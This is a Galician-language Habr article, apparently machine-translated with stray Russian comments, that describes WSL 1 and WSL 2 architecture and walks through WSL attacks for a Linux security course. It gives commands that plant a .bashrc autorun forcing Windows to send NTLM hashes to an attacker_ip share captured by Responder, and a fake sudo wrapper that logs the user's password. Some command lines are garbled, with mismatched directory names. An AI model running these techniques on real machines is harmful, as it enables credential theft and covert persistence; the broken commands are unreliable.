Experimentos WSL. Parte 1

Ola, habr! OTUS lanza un novo curso en outubro "Seguridade de Linux". De cara ao comezo do curso, compartimos con vós un artigo escrito por un dos nosos profesores, Alexander Kolesnikov.

Experimentos WSL. Parte 1

En 2016, Microsoft presentou a nova tecnoloxía WSL á comunidade de TI (Wdentro Ssubsistema para Linux), que no futuro permitiu unir a competidores antes irreconciliables que loitaban pola popularidade tanto entre os usuarios de SO comúns como avanzados: Windows e Linux. Esta tecnoloxía permitiu utilizar ferramentas do sistema operativo Linux nun ambiente Windows sen necesidade de executar Linux, por exemplo, mediante o arranque múltiple. En Habr podes atopar unha gran cantidade de artigos que describen os beneficios de usar WSL. Non obstante, por desgraza, no momento da creación deste artigo, non se atoparon estudos sobre a seguridade de tal simbiose de sistemas operativos neste recurso. Esta publicación será un intento de corrixilo. O artigo falará sobre as características das arquitecturas WSL 1 e 2 e examinará varios exemplos de ataques a sistemas que utilizan estas tecnoloxías. O artigo está dividido en 2 partes. O primeiro proporcionará os principais métodos de ataque teóricos de Linux e Windows. O segundo artigo implicará configurar un ambiente de proba e reproducir os ataques.

WSL 1: características arquitectónicas

Para unha inmersión máis precisa nos problemas de seguridade WSL, é necesario determinar os principais matices asociados á implementación do subsistema. Unha das principais tarefas de usuario que soluciona WSL é a capacidade de traballar a través dun terminal Linux nun host que executa o sistema operativo Windows. Ademais, a compatibilidade ofrecida era tan nativa que os executables de Linux (ELF) podían executarse directamente nun sistema Windows. Para acadar estes obxectivos, creouse un subsistema especial en Windows 10 que che permite executar aplicacións Linux usando un conxunto de chamadas de sistema específicas; polo tanto, intentouse mapear un conxunto de syscalls de Linux en Windows. Isto implementouse fisicamente engadindo novos controladores e un novo formato de proceso. Visualmente a arquitectura era así:

Experimentos WSL. Parte 1

De feito, a interacción co sistema operativo Linux organizouse a través de varios módulos do núcleo e un tipo especial de proceso: pico. No diagrama anterior, podes ver que o proceso en execución na instancia de Linux no host debe ser nativo e debe usar os mesmos recursos que as aplicacións normais de Windows. Pero como conseguir isto? En proxecto Ponte levadiza Desenvolvéronse conceptos de proceso para Windows que proporcionaban todos os compoñentes necesarios do sistema operativo (dependendo da súa versión) para executar unha aplicación doutro SO.

Teña en conta que a abstracción proposta permitiu non centrarse no sistema operativo (en particular, Windows), no que se espera que se inicie o proceso doutro SO, e suxeriu un enfoque xeral.

Así, calquera aplicación dentro do proceso pico podería executarse sen ter en conta o núcleo de Windows:

  1. Os problemas de compatibilidade e tradución das chamadas do sistema deben ser resoltos por provedores especiais;
  2. O control de acceso debe realizarse a través do Monitor de Seguridade. O monitor está situado no núcleo e, polo tanto, Windows necesitaba unha actualización en forma dun novo controlador que puidese actuar como provedor para tales procesos. O proceso de pico prototipo preséntase esquemáticamente a continuación:

Experimentos WSL. Parte 1

Dado que o sistema de ficheiros de Linux utiliza nomes de ficheiros e directorios que distinguen entre maiúsculas e minúsculas, engadíronse 2 tipos de sistemas de ficheiros a Windows para traballar con WSL: VolFS e DriveFS. VolFS é unha implementación do sistema de ficheiros Linux, DriveFS é un sistema de ficheiros que funciona segundo as regras de Windows, pero ten a capacidade de seleccionar a distinción entre maiúsculas e minúsculas.

WSL 2

WSL 1 tiña unha serie de limitacións que non permitían empregalo para resolver o máximo de tarefas: por exemplo, non tiña a capacidade de executar aplicacións Linux de 32 bits e era imposible utilizar controladores de dispositivos. Polo tanto, en 2020 lanzouse a WSL 2, que cambiou o enfoque para construír o subsistema. WSL 2 é unha máquina virtual optimizada que coincide coas características de consumo de recursos de WSL 1. Agora, dependendo dos problemas resoltos polo usuario do sistema operativo Windows, pode seleccionar a versión requirida do subsistema Linux. Para mitigar posibles vulnerabilidades, implementouse WSL 2 baseado en Hyper-V en Windows 10. Neste formulario, Windows ten a capacidade de executar o núcleo do sistema operativo Linux de forma illada. Cómpre lembrar que a versión 1 de WSL presentouse como unha función beta que se supoñía que mostraba a dirección do desenvolvemento de Windows nesta área, polo que a transición a Hyper-V era inevitable. A arquitectura final é así:

Experimentos WSL. Parte 1

Nesta versión, os núcleos de Windows e Linux teñen os seus propios recursos e a intersección só existe no sistema de ficheiros, pero esta intersección non está completa. A interacción entre sistemas de ficheiros realízase mediante un envoltorio cliente-servidor que funciona mediante o protocolo 9P.

Hoxe Microsoft ofrece a posibilidade de cambiar entre WSL 1 e WSL 2. Ambas versións están dispoñibles para o seu uso.

Seguridade WSL

Polo momento, hai varios traballos que describen algúns enfoques para usar ferramentas de SO lexítimas para atacar a comunicación entre subsistemas. Usaremos os seus guións para comprobar a relevancia dos ataques no momento de escribir. Lista xeral de ataques e escenarios:

1. Implantación do sistema de ficheiros: dereitos de acceso, dispoñibilidade de directorios compartidos/mecanismos de intercambio de datos.

Realizouse unha investigación para determinar as violacións das regras de acceso desde Linux FS->Windows FS, Windows FS->Linux FS. A investigación demostrou a capacidade de modificar un ficheiro determinado dentro do sistema operativo de destino. Tamén se tentou substituír, crear duplicados e eliminar parte dos sistemas de ficheiros.

Escenario:

  • A. Ataque desde o sistema operativo Windows - modificación de ficheiros do directorio /etc do sistema operativo Linux.
  • B. Ataque do sistema operativo Linux - modificación de ficheiros en directorios: C:Windows, C:Program Files, C:Users<User>

2. Implantación da pila de rede.

A investigación levouse a cabo utilizando exemplos de ataques do sistema operativo Linux en Windows. Utilizáronse as características da pila de rede, a saber, os mecanismos de autenticación en varios recursos.

Escenario:

  • Abrir o acceso a un porto que está ocupado nun sistema Windows
  • Abrir un porto sen os dereitos adecuados
  • Execución de shell inverso usando o ficheiro elf no sistema operativo Windows.

3. Ocultar o lanzamento de procesos de software malicioso mediante o subsistema WSL.

A investigación baseouse nun feito simple: os subsistemas de seguridade non poden interceptar eventos noutro núcleo que funciona utilizando un provedor lexítimo do sistema operativo no caso de WSL 1. No caso de WSL 2, non hai forma de ver os eventos que ocorren. nun núcleo separado dentro da máquina virtual lixeira.

Escenario:

1) Inicie a aplicación de acceso remoto ao sistema e consulte os eventos rexistrados.

Experimentos WSL 1: interceptación hash (Windows)

Finalmente chegamos á parte práctica. En primeiro lugar, cómpre configurar o ambiente de proba. Todos os experimentos realizaranse nun banco con Windows 10 2004 instalado. Elixiuse a imaxe de Ubuntu 18.04 como imaxe do sistema operativo para WSL. A imaxe escolleuse ao azar e calquera outra funcionará igual. Comandos para configurar un soporte:

Primeiro debes lanzar powershell.exe como administrador.

Para WSL 1 cómpre executar os comandos:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Despois de reiniciar o soporte, pode chamar ao comando bash. Se todo funcionou correctamente, verá unha saída similar a esta na consola de Windows:

    Experimentos WSL. Parte 1

    Usaremos a distribución Kali Linux como máquina do atacante; todas as máquinas deben estar na mesma rede local.

    Supoñamos que temos acceso sen privilexios a WSL nunha máquina Windows. Imos tentar atacar o sistema operativo Linux chamando a un comando desde Linux. Para implementar o ataque, utilizaremos unha técnica sinxela de execución automática: engadiremos o noso script para a súa execución no ambiente Linux. Para iso cómpre cambiar o ficheiro .bashrc.

    Nunha máquina con WSL executamos:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Nunha máquina Kali Linux executamos:

    1. Responder -I eth0 -rdvw

    Nunha máquina Windows, imos lanzar bash.

    Estamos agardando o resultado na máquina Kali Linux:

    Experimentos WSL. Parte 1

    Así, obtivemos os hash do usuario de Windows a través do subsistema WSL executando o comando no sistema Linux.

    Experimentos WSL 1: obtención de contrasinal de usuario (SO Linux)

    Imos facer un experimento máis. Durante esta comprobación engadirémolo ao ficheiro .bashrc varios comandos para obter o contrasinal de usuario do sistema operativo Linux.

    Lancemos bash e introduzamos os comandos:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Para completar con éxito o ataque, o usuario Sam necesita chamar a sudo no terminal Linux. Despois diso, o contrasinal do usuario do sistema operativo Linux estará no ficheiro pass.txt:

    Experimentos WSL. Parte 1

    A implementación dos ataques deuse só para información teórica.

    A seguinte parte do artigo describirá a implementación do protocolo 9P, considerarase a creación dun escáner para este protocolo e tamén realizará un ataque usándoo.

    Lista de literatura usada

    Experimentos WSL. Parte 1

    Le máis

    Fonte: www.habr.com

    Engadir un comentario